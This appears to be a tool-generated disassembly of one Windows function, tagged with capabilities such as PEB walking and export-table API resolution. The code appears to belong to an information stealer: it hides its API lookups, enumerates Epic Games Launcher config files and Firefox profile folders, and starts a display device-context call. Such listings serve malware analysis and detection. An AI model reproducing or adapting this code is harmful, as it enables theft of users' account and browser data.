Function at 0x140016880
Capabilities:
Access peb ldr_data
Parse pe header
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x2590]
mov eax, 0x2690
call fcn.14012c2c0
sub rsp, rax
movaps xmmword [rsp + 0x2680], xmm6
mov rax, qword [0x140188020]
xor rax, rsp
mov qword [rbp + 0x2570], rax
mov qword [rbp - 0x28], rcx
xor ebx, ebx
mov qword [rbp - 0x30], rbx
mov dword [rsp + 0x64], ebx
lea rax, [rbp + 0x6b0]
mov qword [rbp - 0x48], rax
movzx r8d, byte [rsp + 0x60]
lea rdx, str.EpicGamesLauncher
lea rcx, [rbp + 0x10c0]
call fcn.140021100
nop
mov rcx, rax
call fcn.14001e060
mov rdx, rax
lea rcx, [rbp + 0x6b0]
call fcn.14001e6f0
mov qword [rbp - 0x58], rax
movzx r8d, byte [rsp + 0x60]
lea rdx, str.EpicGamesLauncherSavedConfigWindows
lea rcx, [rbp + 0x1750]
call fcn.140020ff0
nop
mov rcx, rax
call fcn.14001e190
mov r12, rax
xor edx, edx
mov r8d, 0x104
lea rcx, [rbp + 0x2460]
call fcn.14012e2b0
movzx r8d, byte [rsp + 0x60]
lea rdx, str.LOCALAPPDATA
lea rcx, [rbp + 0x290]
call fcn.14001fb10
nop
mov rcx, rax
call fcn.14001ca00
mov r13, rax
movzx r8d, byte [rsp + 0x60]
lea rdx, str.GetEnvironmentVariableA
lea rcx, [rbp + 0x500]
call fcn.14001fa20
nop
mov rcx, rax
call fcn.14001d050
mov rsi, rax
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov rdi, qword [rcx]
mov eax, 0x5a4d
cmp qword [rdi + 0x60], 0
je 0x140016a76
mov r11, qword [rdi + 0x30]
mov rdi, qword [rdi]
test r11, r11
je 0x1400169b0
cmp word [r11], ax
jne 0x140016a76
movsxd rax, dword [r11 + 0x3c]
cmp dword [rax + r11], 0x4550
jne 0x140016a76
mov ecx, dword [rax + r11 + 0x88]
test ecx, ecx
je 0x140016a76
lea rax, [r11 + rcx]
mov r14d, dword [rax + 0x1c]
add r14, r11
mov r9d, dword [rax + 0x20]
add r9, r11
mov r15d, dword [rax + 0x24]
add r15, r11
mov r10d, ebx
mov ebx, dword [rax + 0x18]
test ebx, ebx
je 0x140016a6f
nop word [rax + rax]
xor r8b, r8b
mov ecx, dword [r9]
add rcx, r11
cmp byte [rcx], r8b
je 0x140016a63
mov rdx, rsi
sub rdx, rcx
movzx eax, byte [rdx + rcx]
test al, al
je 0x140016a5e
cmp byte [rcx], al
jne 0x140016a63
mov r8b, 1
inc rcx
cmp byte [rcx], 0
jne 0x140016a34
movsxd rax, r10d
movzx ecx, word [r15 + rax*2]
mov eax, dword [r14 + rcx*4]
add rax, r11
xor ebx, ebx
jmp 0x140016a79
test r8b, r8b
jne 0x140016a4b
inc r10d
add r9, 4
cmp r10d, ebx
jb 0x140016a20
xor ebx, ebx
jmp 0x1400169ab
mov rax, rbx
mov r8d, 0x104
lea rdx, [rbp + 0x2460]
mov rcx, r13
call rax
nop
dec eax
mov rdi, 0xffffffffffffffff
cmp eax, 0x102
ja 0x140016ad9
lea rcx, [rbp + 0x2460]
mov rax, rdi
inc rax
cmp byte [rcx + rax], 0
jne 0x140016aa6
cmp byte [rbp + rax + 0x245f], 0x5c
jne 0x140016ad0
dec rax
cmp rax, 0x104
jae 0x14001b0fa
mov byte [rbp + rax + 0x2460], 0
lea rdx, [rbp + 0x2460]
jmp 0x140016ae0
lea rdx, [0x14015febb]
lea rcx, [rbp + 0x188]
call fcn.14001e6f0
nop
mov r8, rdi
inc r8
cmp byte [r12 + r8], 0
jne 0x140016af0
mov rdx, r12
lea rcx, [rbp + 0x188]
call fcn.14001eb90
mov rdx, rax
lea rcx, [rbp + 0x30]
call fcn.14001e6c0
mov dword [rsp + 0x64], 3
lea rax, [rbp + 0x30]
mov qword [rsp + 0x78], rax
movzx r8d, byte [rsp + 0x60]
lea rdx, [0x14015ff38]
lea rcx, [rbp + 0x840]
call fcn.14001f1d0
nop
mov rcx, rax
call fcn.14001caf0
mov r8, rax
lea rdx, [rbp + 0x30]
lea rcx, [rbp + 0x18a8]
call fcn.14001ed60
nop
lea rcx, [rbp + 0x18a8]
call fcn.14001ec10
mov r12, rax
movzx r8d, byte [rsp + 0x60]
lea rdx, str.FindFirstFileA
lea rcx, [rbp + 0xc80]
call fcn.14001f2c0
nop
mov rcx, rax
call fcn.14001d920
mov rsi, rax
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov rdi, qword [rcx]
cmp qword [rdi + 0x60], 0
je 0x140016c79
mov r13d, 0x5a4d
nop word [rax + rax]
mov r11, qword [rdi + 0x30]
mov rdi, qword [rdi]
test r11, r11
je 0x140016c6d
cmp word [r11], r13w
jne 0x140016c79
movsxd rax, dword [r11 + 0x3c]
cmp dword [rax + r11], 0x4550
jne 0x140016c79
mov ecx, dword [rax + r11 + 0x88]
test ecx, ecx
je 0x140016c79
lea rax, [r11 + rcx]
mov r14d, dword [rax + 0x1c]
add r14, r11
mov r9d, dword [rax + 0x20]
add r9, r11
mov r15d, dword [rax + 0x24]
add r15, r11
mov r10d, ebx
mov ebx, dword [rax + 0x18]
test ebx, ebx
je 0x140016c6d
nop
xor r8b, r8b
mov ecx, dword [r9]
add rcx, r11
cmp byte [rcx], r8b
je 0x140016c61
mov rdx, rsi
sub rdx, rcx
movzx eax, byte [rdx + rcx]
test al, al
je 0x140016c5c
cmp byte [rcx], al
jne 0x140016c61
mov r8b, 1
inc rcx
cmp byte [rcx], 0
jne 0x140016c34
movsxd rax, r10d
movzx ecx, word [r15 + rax*2]
mov eax, dword [r14 + rcx*4]
add rax, r11
jmp 0x140016c7c
test r8b, r8b
jne 0x140016c4b
inc r10d
add r9, 4
cmp r10d, ebx
jb 0x140016c20
xor ebx, ebx
cmp qword [rdi + 0x60], rbx
jne 0x140016bc0
mov rax, rbx
lea rdx, [rbp + 0x18f0]
mov rcx, r12
call rax
mov qword [rbp - 0x20], rax
cmp rax, 0xffffffffffffffff
je 0x1400177bb
movzx ebx, byte [rsp + 0x60]
movzx edi, byte [rsp + 0x60]
movzx r14d, byte [rsp + 0x60]
movzx r12d, byte [rsp + 0x60]
movzx r15d, byte [rsp + 0x60]
movzx esi, byte [rsp + 0x60]
movzx r13d, byte [rsp + 0x60]
nop dword [rax]
movzx r8d, bl
lea rdx, [0x14015ff50]
lea rcx, [rbp + 0x500]
call fcn.14001f3c0
nop
or dword [rsp + 0x64], 4
mov rcx, rax
call fcn.14001d3a0
lea rcx, [rbp + 0x191c]
sub rax, rcx
nop
movzx r8d, byte [rcx]
movzx edx, byte [rcx + rax]
sub r8d, edx
jne 0x140016d04
inc rcx
test edx, edx
jne 0x140016cf0
test r8d, r8d
je 0x140016d5d
movzx r8d, dil
lea rdx, [0x14015ff54]
lea rcx, [rbp + 0x150]
call fcn.14001f4a0
nop
or dword [rsp + 0x64], 8
mov rcx, rax
call fcn.14001caf0
lea rcx, [rbp + 0x191c]
sub rax, rcx
nop dword [rax + rax]
movzx r8d, byte [rcx]
movzx edx, byte [rcx + rax]
sub r8d, edx
jne 0x140016d54
inc rcx
test edx, edx
jne 0x140016d40
test r8d, r8d
je 0x140016d5d
xor cl, cl
jmp 0x140016d5f
mov cl, 1
mov eax, dword [rsp + 0x64]
test al, 8
je 0x140016d6e
and eax, 0xfffffff7
mov dword [rsp + 0x64], eax
test al, 4
je 0x140016d79
and eax, 0xfffffffb
mov dword [rsp + 0x64], eax
test cl, cl
jne 0x14001757c
movzx r8d, r14b
lea rdx, [0x14015ff58]
lea rcx, [rbp + 0x500]
call fcn.14001f590
nop
mov rcx, rax
call fcn.14001d3a0
mov r8, rax
lea rdx, [rbp + 0x30]
lea rcx, [rbp + 0x10]
call fcn.14001ed60
nop
lea r8, [rbp + 0x191c]
mov rdx, rax
lea rcx, [rbp + 0x18c8]
call fcn.14001eec0
nop
lea rcx, [rbp + 0x10]
call fcn.14001e820
nop
test byte [rbp + 0x18f0], 0x10
je 0x140016e70
lea rax, [rbp + 0x1830]
mov qword [rbp - 0x48], rax
movzx r8d, r12b
lea rdx, [0x14015ff58]
lea rcx, [rbp + 0x290]
call fcn.14001f670
nop
mov rcx, rax
call fcn.14001d3a0
mov r8, rax
mov rdx, qword [rbp - 0x58]
lea rcx, [rbp + 0x150]
call fcn.14001ed60
nop
lea r8, [rbp + 0x191c]
mov rdx, rax
lea rcx, [rbp + 0x1830]
call fcn.14001eec0
mov qword [rbp - 0x70], rax
lea rdx, [rbp + 0x18c8]
lea rcx, [rbp - 0x10]
call fcn.14001e730
nop
mov r9, qword [rbp - 0x70]
mov r8b, 1
mov rdx, rax
mov rcx, qword [rbp - 0x28]
call fcn.140015430
nop
lea rcx, [rbp + 0x150]
call fcn.14001e820
nop
jmp 0x140017570
lea rdx, [0x14015febb]
lea rcx, [rbp + 0x1830]
call fcn.14001e6f0
nop
movzx r8d, r15b
lea rdx, [0x14015ff58]
lea rcx, [rbp + 0x290]
call fcn.14001f750
nop
mov rcx, rax
call fcn.14001d3a0
mov r8, rax
mov rdx, qword [rbp - 0x58]
lea rcx, [rbp + 0x150]
call fcn.14001ed60
nop
mov rdx, rax
lea rcx, [rbp + 0x1830]
call fcn.14001e6a0
nop
lea rcx, [rbp + 0x150]
call fcn.14001e820
nop
lea rax, [rbp + 0x191c]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140016ee3
lea rdx, [rbp + 0x191c]
lea rcx, [rbp + 0x1830]
call fcn.14001eb90
lea rcx, [rbp + 0x18c8]
call fcn.14001ec10
mov rdx, rax
lea rcx, [rbp + 0x150]
call fcn.14001e6f0
mov qword [rbp - 0x70], rax
mov rcx, rax
call fcn.14001ec10
mov qword [rbp - 0x60], rax
movzx r8d, r13b
lea rdx, [0x14015ff80]
lea rcx, [rbp + 0x290]
call fcn.14001eff0
nop
mov rcx, rax
call fcn.14001d7f0
mov qword [rsp + 0x70], rax
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov rdx, qword [rcx]
cmp qword [rdx + 0x60], 0
je 0x140017055
mov r10, qword [rdx + 0x30]
mov rdx, qword [rdx]
mov qword [rbp - 0x40], rdx
test r10, r10
je 0x140016f64
mov eax, 0x5a4d
cmp word [r10], ax
jne 0x140017055
movsxd rax, dword [r10 + 0x3c]
cmp dword [rax + r10], 0x4550
jne 0x140017055
mov ecx, dword [rax + r10 + 0x88]
test ecx, ecx
je 0x140017055
lea rax, [r10 + rcx]
mov ecx, dword [rax + 0x1c]
add rcx, r10
mov qword [rbp - 0x68], rcx
mov ecx, dword [rax + 0x20]
add rcx, r10
mov qword [rbp - 0x18], rcx
mov r8d, dword [rax + 0x24]
add r8, r10
mov qword [rbp - 0x38], r8
xor r8d, r8d
mov r11d, r8d
mov r9d, r8d
mov eax, dword [rax + 0x18]
mov dword [rsp + 0x68], eax
test eax, eax
je 0x140016f64
nop dword [rax + rax]
xor r8b, r8b
mov ecx, dword [rcx + r9*4]
add rcx, r10
cmp byte [rcx], r8b
je 0x14001703b
mov rdx, qword [rsp + 0x70]
sub rdx, rcx
movzx eax, byte [rdx + rcx]
test al, al
je 0x140017036
cmp byte [rcx], al
jne 0x14001703b
mov r8b, 1
inc rcx
cmp byte [rcx], 0
jne 0x140017007
mov rax, qword [rbp - 0x38]
movzx eax, word [rax + r9*2]
mov rcx, qword [rbp - 0x68]
mov r11d, dword [rcx + rax*4]
add r11, r10
xor eax, eax
jmp 0x14001705a
test r8b, r8b
jne 0x14001701e
inc r11d
inc r9
cmp r11d, dword [rsp + 0x68]
mov rcx, qword [rbp - 0x18]
jb 0x140016ff0
mov rdx, qword [rbp - 0x40]
jmp 0x140016f64
xor eax, eax
mov r11d, eax
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rax
mov r9d, 0xffffffff
mov r8, qword [rbp - 0x60]
xor edx, edx
mov ecx, 0xfde9
call r11
mov dword [rsp + 0x70], eax
xor r8d, r8d
movsxd rdx, eax
lea rcx, [rbp + 0x10]
call fcn.14001e470
or dword [rsp + 0x64], 0x40
lea rax, [rbp + 0x10]
cmp qword [rbp + 0x28], 8
cmovae rax, qword [rbp + 0x10]
mov qword [rbp - 0x50], rax
mov rcx, qword [rbp - 0x70]
call fcn.14001ec10
mov qword [rbp - 0x78], rax
movzx r8d, byte [rsp + 0x60]
lea rdx, [0x14015ff80]
lea rcx, [rbp + 0x750]
call fcn.14001f0e0
nop
mov rcx, rax
call fcn.14001d7f0
mov qword [rbp - 0x60], rax
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov rdx, qword [rcx]
cmp qword [rdx + 0x60], 0
je 0x1400171d2
mov r10, qword [rdx + 0x30]
mov rdx, qword [rdx]
mov qword [rbp - 0x38], rdx
test r10, r10
je 0x1400170e8
mov eax, 0x5a4d
cmp word [r10], ax
jne 0x1400171d2
movsxd rax, dword [r10 + 0x3c]
cmp dword [rax + r10], 0x4550
jne 0x1400171d2
mov ecx, dword [rax + r10 + 0x88]
test ecx, ecx
je 0x1400171d2
lea rax, [r10 + rcx]
mov ecx, dword [rax + 0x1c]
add rcx, r10
mov qword [rbp - 0x18], rcx
mov ecx, dword [rax + 0x20]
add rcx, r10
mov qword [rbp - 0x68], rcx
mov r8d, dword [rax + 0x24]
add r8, r10
mov qword [rbp - 0x40], r8
xor r8d, r8d
mov r11d, r8d
mov r9d, r8d
mov eax, dword [rax + 0x18]
mov dword [rsp + 0x68], eax
test eax, eax
je 0x1400170e8
nop
xor r8b, r8b
mov ecx, dword [rcx + r9*4]
add rcx, r10
cmp byte [rcx], r8b
je 0x1400171b8
mov rdx, qword [rbp - 0x60]
sub rdx, rcx
movzx eax, byte [rdx + rcx]
test al, al
je 0x1400171b3
cmp byte [rcx], al
jne 0x1400171b8
mov r8b, 1
inc rcx
cmp byte [rcx], 0
jne 0x140017186
mov rax, qword [rbp - 0x40]
movzx eax, word [rax + r9*2]
mov rcx, qword [rbp - 0x18]
mov r11d, dword [rcx + rax*4]
add r11, r10
jmp 0x1400171d5
test r8b, r8b
jne 0x14001719d
inc r11d
inc r9
cmp r11d, dword [rsp + 0x68]
mov rcx, qword [rbp - 0x68]
jb 0x140017170
mov rdx, qword [rbp - 0x38]
jmp 0x1400170e8
xor r11d, r11d
mov eax, dword [rsp + 0x70]
mov dword [rsp + 0x28], eax
mov rax, qword [rbp - 0x50]
mov qword [rsp + 0x20], rax
mov r9d, 0xffffffff
mov r8, qword [rbp - 0x78]
xor edx, edx
mov ecx, 0xfde9
call r11
nop
mov rcx, qword [rbp - 0x70]
call fcn.14001e820
lea rcx, [rbp + 0x10]
call fcn.14001e810
mov qword [rbp - 0x48], rax
lea rcx, [rbp + 0x1830]
call fcn.14001ec10
mov rdx, rax
lea rcx, [rbp + 0x500]
call fcn.14001e6f0
mov qword [rbp - 0x70], rax
mov rcx, rax
call fcn.14001ec10
mov qword [rbp - 0x40], rax
movzx r8d, byte [rsp + 0x60]
lea rdx, [0x14015ff80]
lea rcx, [rbp + 0x750]
call fcn.14001eff0
nop
mov rcx, rax
call fcn.14001d7f0
mov qword [rbp - 0x78], rax
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov rdx, qword [rcx]
cmp qword [rdx + 0x60], 0
je 0x140017364
mov r10, qword [rdx + 0x30]
mov rdx, qword [rdx]
mov qword [rbp - 0x60], rdx
test r10, r10
je 0x140017276
mov eax, 0x5a4d
cmp word [r10], ax
jne 0x140017364
movsxd rax, dword [r10 + 0x3c]
cmp dword [rax + r10], 0x4550
jne 0x140017364
mov ecx, dword [rax + r10 + 0x88]
test ecx, ecx
je 0x140017364
lea rax, [r10 + rcx]
mov ecx, dword [rax + 0x1c]
add rcx, r10
mov qword [rbp - 0x38], rcx
mov ecx, dword [rax + 0x20]
add rcx, r10
mov qword [rbp - 0x50], rcx
mov r8d, dword [rax + 0x24]
add r8, r10
mov qword [rbp - 0x68], r8
xor r8d, r8d
mov r11d, r8d
mov r9d, r8d
mov eax, dword [rax + 0x18]
mov dword [rsp + 0x70], eax
test eax, eax
je 0x140017276
nop dword [rax]
xor r8b, r8b
mov ecx, dword [rcx + r9*4]
add rcx, r10
cmp byte [rcx], r8b
je 0x14001734a
mov rdx, qword [rbp - 0x78]
sub rdx, rcx
movzx eax, byte [rdx + rcx]
test al, al
je 0x140017345
cmp byte [rcx], al
jne 0x14001734a
mov r8b, 1
inc rcx
cmp byte [rcx], 0
jne 0x140017316
mov rax, qword [rbp - 0x68]
movzx eax, word [rax + r9*2]
mov rcx, qword [rbp - 0x38]
mov r11d, dword [rcx + rax*4]
add r11, r10
xor eax, eax
jmp 0x140017369
test r8b, r8b
jne 0x14001732d
inc r11d
inc r9
cmp r11d, dword [rsp + 0x70]
mov rcx, qword [rbp - 0x50]
jb 0x140017300
mov rdx, qword [rbp - 0x60]
jmp 0x140017276
xor eax, eax
mov r11d, eax
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rax
mov r9d, 0xffffffff
mov r8, qword [rbp - 0x40]
xor edx, edx
mov ecx, 0xfde9
call r11
mov dword [rsp + 0x68], eax
xor r8d, r8d
movsxd rdx, eax
lea rcx, [rbp - 0x10]
call fcn.14001e470
or dword [rsp + 0x64], 0x80
lea rax, [rbp - 0x10]
cmp qword [rbp + 8], 8
cmovae rax, qword [rbp - 0x10]
mov qword [rbp - 0x40], rax
mov rcx, qword [rbp - 0x70]
call fcn.14001ec10
mov qword [rbp - 0x18], rax
movzx r8d, byte [rsp + 0x60]
lea rdx, [0x14015ff80]
lea rcx, [rbp + 0x290]
call fcn.14001f0e0
nop
mov rcx, rax
call fcn.14001d7f0
mov qword [rbp - 0x78], rax
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov rdx, qword [rcx]
cmp qword [rdx + 0x60], 0
je 0x1400174e3
mov r10, qword [rdx + 0x30]
mov rdx, qword [rdx]
mov qword [rbp - 0x60], rdx
test r10, r10
je 0x1400173fa
mov eax, 0x5a4d
cmp word [r10], ax
jne 0x1400174e3
movsxd rax, dword [r10 + 0x3c]
cmp dword [rax + r10], 0x4550
jne 0x1400174e3
mov ecx, dword [rax + r10 + 0x88]
test ecx, ecx
je 0x1400174e3
lea rax, [r10 + rcx]
mov ecx, dword [rax + 0x1c]
add rcx, r10
mov qword [rbp - 0x38], rcx
mov ecx, dword [rax + 0x20]
add rcx, r10
mov qword [rbp - 0x50], rcx
mov r8d, dword [rax + 0x24]
add r8, r10
mov qword [rbp - 0x68], r8
xor r8d, r8d
mov r11d, r8d
mov r9d, r8d
mov eax, dword [rax + 0x18]
mov dword [rsp + 0x70], eax
test eax, eax
je 0x1400173fa
xor r8b, r8b
mov ecx, dword [rcx + r9*4]
add rcx, r10
cmp byte [rcx], r8b
je 0x1400174c9
mov rdx, qword [rbp - 0x78]
sub rdx, rcx
movzx eax, byte [rdx + rcx]
test al, al
je 0x1400174c4
cmp byte [rcx], al
jne 0x1400174c9
mov r8b, 1
inc rcx
cmp byte [rcx], 0
jne 0x140017497
mov rax, qword [rbp - 0x68]
movzx eax, word [rax + r9*2]
mov rcx, qword [rbp - 0x38]
mov r11d, dword [rcx + rax*4]
add r11, r10
jmp 0x1400174e6
test r8b, r8b
jne 0x1400174ae
inc r11d
inc r9
cmp r11d, dword [rsp + 0x70]
mov rcx, qword [rbp - 0x50]
jb 0x140017481
mov rdx, qword [rbp - 0x60]
jmp 0x1400173fa
xor r11d, r11d
mov eax, dword [rsp + 0x68]
mov dword [rsp + 0x28], eax
mov rax, qword [rbp - 0x40]
mov qword [rsp + 0x20], rax
mov r9d, 0xffffffff
mov r8, qword [rbp - 0x18]
xor edx, edx
mov ecx, 0xfde9
call r11
nop
mov rcx, qword [rbp - 0x70]
call fcn.14001e820
lea rcx, [rbp - 0x10]
call fcn.14001e810
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8, qword [rbp - 0x48]
mov rdx, rax
mov rcx, qword [rbp - 0x28]
call fcn.1401276d0
mov eax, dword [rsp + 0x64]
btr eax, 7
mov dword [rsp + 0x70], eax
lea rcx, [rbp - 0x10]
call fcn.14001e400
mov eax, dword [rsp + 0x70]
and eax, 0xffffffbf
mov dword [rsp + 0x64], eax
lea rcx, [rbp + 0x10]
call fcn.14001e400
nop
lea rcx, [rbp + 0x1830]
call fcn.14001e820
nop
lea rcx, [rbp + 0x18c8]
call fcn.14001e820
movzx r8d, sil
lea rdx, str.FindNextFileA
lea rcx, [rbp + 0x290]
call fcn.14001f830
nop
mov rcx, rax
call fcn.14001d2b0
mov qword [rbp - 0x48], rax
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov rdx, qword [rcx]
cmp qword [rdx + 0x60], 0
je 0x1400176a2
mov r10, qword [rdx + 0x30]
mov rdx, qword [rdx]
mov qword [rbp - 0x50], rdx
test r10, r10
je 0x1400175b4
mov eax, 0x5a4d
cmp word [r10], ax
jne 0x1400176a2
movsxd rax, dword [r10 + 0x3c]
cmp dword [rax + r10], 0x4550
jne 0x1400176a2
mov ecx, dword [rax + r10 + 0x88]
test ecx, ecx
je 0x1400176a2
lea rax, [r10 + rcx]
mov ecx, dword [rax + 0x1c]
add rcx, r10
mov qword [rbp - 0x68], rcx
mov ecx, dword [rax + 0x20]
add rcx, r10
mov qword [rbp - 0x78], rcx
mov r8d, dword [rax + 0x24]
add r8, r10
mov qword [rbp - 0x60], r8
xor r8d, r8d
mov r11d, r8d
mov r9d, r8d
mov eax, dword [rax + 0x18]
mov dword [rsp + 0x70], eax
test eax, eax
je 0x1400175b4
nop dword [rax + rax]
xor r8b, r8b
mov ecx, dword [rcx + r9*4]
add rcx, r10
cmp byte [rcx], r8b
je 0x140017688
mov rdx, qword [rbp - 0x48]
sub rdx, rcx
movzx eax, byte [rdx + rcx]
test al, al
je 0x140017683
cmp byte [rcx], al
jne 0x140017688
mov r8b, 1
inc rcx
cmp byte [rcx], 0
jne 0x140017656
mov rax, qword [rbp - 0x60]
movzx eax, word [rax + r9*2]
mov rcx, qword [rbp - 0x68]
mov r8d, dword [rcx + rax*4]
add r8, r10
jmp 0x1400176a5
test r8b, r8b
jne 0x14001766d
inc r11d
inc r9
cmp r11d, dword [rsp + 0x70]
mov rcx, qword [rbp - 0x78]
jb 0x140017640
mov rdx, qword [rbp - 0x50]
jmp 0x1400175b4
xor r8d, r8d
lea rdx, [rbp + 0x18f0]
mov rcx, qword [rbp - 0x20]
call r8
nop
test eax, eax
jne 0x140016cc0
movzx r8d, byte [rsp + 0x60]
lea rdx, [0x14015ff70]
lea rcx, [rbp + 0x290]
call fcn.14001f930
nop
mov rcx, rax
call fcn.14001c8f0
mov rsi, rax
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov rdi, qword [rcx]
cmp qword [rdi + 0x60], 0
je 0x1400177b2
mov r11, qword [rdi + 0x30]
mov rdi, qword [rdi]
test r11, r11
je 0x1400176f5
mov eax, 0x5a4d
cmp word [r11], ax
jne 0x1400177b2
movsxd rax, dword [r11 + 0x3c]
cmp dword [rax + r11], 0x4550
jne 0x1400177b2
mov ecx, dword [rax + r11 + 0x88]
test ecx, ecx
je 0x1400177b2
lea rax, [r11 + rcx]
mov r14d, dword [rax + 0x1c]
add r14, r11
mov r9d, dword [rax + 0x20]
add r9, r11
mov r15d, dword [rax + 0x24]
add r15, r11
xor r10d, r10d
mov ebx, dword [rax + 0x18]
test ebx, ebx
je 0x1400176f5
nop dword [rax]
xor r8b, r8b
mov ecx, dword [r9]
add rcx, r11
cmp byte [rcx], r8b
je 0x1400177a1
mov rdx, rsi
sub rdx, rcx
movzx eax, byte [rdx + rcx]
test al, al
je 0x14001779c
cmp byte [rcx], al
jne 0x1400177a1
mov r8b, 1
inc rcx
cmp byte [rcx], 0
jne 0x140017774
movsxd rax, r10d
movzx ecx, word [r15 + rax*2]
mov eax, dword [r14 + rcx*4]
add rax, r11
jmp 0x1400177b4
test r8b, r8b
jne 0x14001778b
inc r10d
add r9, 4
cmp r10d, ebx
jb 0x140017760
jmp 0x1400176f5
xor eax, eax
mov rcx, qword [rbp - 0x20]
call rax
nop
lea rcx, [rbp + 0x18a8]
call fcn.14001e820
nop
lea rcx, [rbp + 0x30]
call fcn.14001e820
nop
mov rcx, qword [rbp - 0x58]
call fcn.14001e820
nop
lea rcx, [rbp + 0x188]
call fcn.14001e820
nop
movzx r8d, byte [rsp + 0x60]
lea rdx, str.MozillaFirefoxProfiles
lea rcx, [rbp + 0x1570]
call fcn.1400211f0
nop
mov rcx, rax
call fcn.14001cdf0
mov r12, rax
xor edx, edx
mov r8d, 0x104
lea rcx, [rbp + 0x1be0]
call fcn.14012e2b0
movzx r8d, byte [rsp + 0x60]
lea rdx, str.APPDATA
lea rcx, [rbp + 0x9c8]
call fcn.14001fcf0
nop
mov rcx, rax
call fcn.14001e2d0
mov r13, rax
movzx r8d, byte [rsp + 0x60]
lea rdx, str.GetEnvironmentVariableA
lea rcx, [rbp + 0x1070]
call fcn.14001fc00
nop
mov rcx, rax
call fcn.14001d050
mov rsi, rax
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov rdi, qword [rcx]
cmp qword [rdi + 0x60], 0
je 0x14001794a
mov r11, qword [rdi + 0x30]
mov rdi, qword [rdi]
test r11, r11
je 0x140017880
mov r14d, 0x5a4d
cmp word [r11], r14w
jne 0x140017944
movsxd rax, dword [r11 + 0x3c]
cmp dword [rax + r11], 0x4550
jne 0x140017944
mov ecx, dword [rax + r11 + 0x88]
test ecx, ecx
je 0x140017944
lea rax, [r11 + rcx]
mov r14d, dword [rax + 0x1c]
add r14, r11
mov r9d, dword [rax + 0x20]
add r9, r11
mov r15d, dword [rax + 0x24]
add r15, r11
xor r10d, r10d
mov ebx, dword [rax + 0x18]
test ebx, ebx
je 0x140017880
nop dword [rax + rax]
xor r8b, r8b
mov ecx, dword [r9]
add rcx, r11
cmp byte [rcx], r8b
je 0x140017933
mov rdx, rsi
sub rdx, rcx
movzx eax, byte [rdx + rcx]
test al, al
je 0x14001792e
cmp byte [rcx], al
jne 0x140017933
mov r8b, 1
inc rcx
cmp byte [rcx], 0
jne 0x140017904
movsxd rax, r10d
movzx ecx, word [r15 + rax*2]
mov eax, dword [r14 + rcx*4]
add rax, r11
xor ebx, ebx
jmp 0x14001794e
test r8b, r8b
jne 0x14001791b
inc r10d
add r9, 4
cmp r10d, ebx
jb 0x1400178f0
jmp 0x140017880
xor ebx, ebx
mov eax, ebx
jmp 0x140017954
xor ebx, ebx
mov eax, ebx
mov r14d, 0x5a4d
mov r8d, 0x104
lea rdx, [rbp + 0x1be0]
mov rcx, r13
call rax
nop
dec eax
cmp eax, 0x102
ja 0x1400179b3
lea rcx, [rbp + 0x1be0]
mov rax, 0xffffffffffffffff
nop
inc rax
cmp byte [rcx + rax], 0
jne 0x140017980
cmp byte [rbp + rax + 0x1bdf], 0x5c
jne 0x1400179aa
dec rax
cmp rax, 0x104
jae 0x14001b100
mov byte [rbp + rax + 0x1be0], 0
lea rdx, [rbp + 0x1be0]
jmp 0x1400179ba
lea rdx, [0x14015febb]
lea rcx, [rbp + 0x1a8]
call fcn.14001e6f0
nop
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [r12 + r8], 0
jne 0x1400179d0
mov rdx, r12
lea rcx, [rbp + 0x1a8]
call fcn.14001eb90
mov rdx, rax
lea rcx, [rbp + 0x3c0]
call fcn.14001e6c0
lea r8, [rbp + 0x3c0]
mov rdi, qword [rbp - 0x28]
mov rdx, rdi
mov rcx, qword [0x140196880]
call fcn.14010dc30
nop
lea rcx, [rbp + 0x1a8]
call fcn.14001e820
nop
mov rdx, rdi
mov rcx, qword [0x140196890]
call fcn.140109ec0
mov rdx, rdi
mov rcx, qword [0x140196888]
call fcn.140118890
mov rdx, rdi
mov rcx, qword [0x1401968b8]
call fcn.1400f4110
mov rdx, rdi
mov rcx, qword [0x1401968a0]
call fcn.1400ffeb0
mov dword [rsp + 0x68], ebx
movzx r8d, byte [rsp + 0x60]
lea rdx, str.DISPLAY
lea rcx, [rbp + 0x710]
call fcn.14001ffc0
nop
mov rcx, rax
call fcn.14001e2d0
mov r12, rax
movzx r8d, byte [rsp + 0x60]
lea rdx, str.CreateDCA
lea rcx, [rbp + 0xcc0]
call fcn.14001fed0
nop
mov rcx, rax
call fcn.14001c8f0
mov rsi, rax
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov rdi, qword [rcx]
cmp qword [rdi + 0x60], 0
je 0x140017b98
nop dword [rax]
mov r11, qword [rdi + 0x30]
mov rdi, qword [rdi]
test r11, r11
je 0x140017b81
cmp word [r11], r14w
jne 0x140017b93
movsxd rax, dword [r11 + 0x3c]
cmp dword [rax + r11], 0x4550
jne 0x140017b93
mov ecx, dword [rax + r11 + 0x88]
test ecx, ecx
je 0x140017b93
lea rax, [r11 + rcx]
mov r14d, dword [rax + 0x1c]
add r14, r11
mov r9d, dword [rax + 0x20]
add r9, r11
mov r15d, dword [rax + 0x24]
add r15, r11
mov r10d, ebx
